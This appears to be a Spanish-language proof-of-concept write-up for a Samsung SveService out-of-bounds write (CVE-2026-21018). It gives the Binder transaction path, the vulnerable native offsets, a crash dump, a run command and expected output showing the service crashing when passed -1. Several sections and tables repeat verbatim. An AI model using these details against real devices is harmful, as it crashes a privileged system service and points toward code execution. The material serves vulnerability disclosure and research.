
Un PoC mínimo para CVE-2026-21018, que demuestra cómo funciona.
[]
[
]
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
Versiones afectadas: Android 14, 15, 16
Estado de divulgación: Divulgado de forma privada
Una escritura fuera de los límites en SveService anterior a SMR May-2026 Release 1 permite a atacantes locales privilegiados ejecutar código arbitrario.
El parche añade una validación de entrada adecuada.
Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.
| Componente | Rol | Versión |
|---|---|---|
sveservice.apk | Servicio Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
En sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se pasan directamente a memset, sub sp, sp, xN (alloca) y memcpy sin validación de tamaño.
Funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
Salida esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() mediante app_process funciona con UID shell.signatureOrSystem NO se aplica: el servicio se registra directamente mediante ServiceManager.addService(), omitiendo el mecanismo de permisos de Android.memset con 0xFFFFFFFF siempre falla. Una RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).Vulnerabilidad de desbordamiento de búfer en el servicio de sistema SveService (com.sec.sve) en dispositivos Samsung con Android 16. El servicio se ejecuta como system (UID 1000) y es accesible sin ningún permiso especial a través de Binder.
| Componente | Rol | Versión |
|---|---|---|
sveservice.apk | Servicio Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
En la función sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), los parámetros i18, i19, i20 (recibidos de AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) se usan directamente como argumentos para memset, sub sp, sp, xN (alloca) y memcpy sin ninguna validación de tamaño.
Otras funciones similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validan con cmp w20, #0x1e; b.gt (rechazan > 30 bytes). SetCodecInfo no valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Salida esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() mediante app_process funciona con UID shell.signatureOrSystem NO se aplica: el servicio se registra directamente mediante ServiceManager.addService(), omitiendo la verificación de permisos.memset con 0xFFFFFFFF siempre falla. Una RCE requeriría una fuga de direcciones + ROP (PAC ausente en SM-A175F).| Operación | Valor | Efecto |
|---|
(i18 + 15) & ~15 | 0 | Asigna 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Intenta poner a cero 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Extensión de signo de -1 → ~18 exabytes |
| Operación | Valor | Efecto |
|---|
(i18 + 15) & ~15 | 0 | Asigna 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Intenta poner a cero 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Extensión de signo de -1 → ~18 exabytes |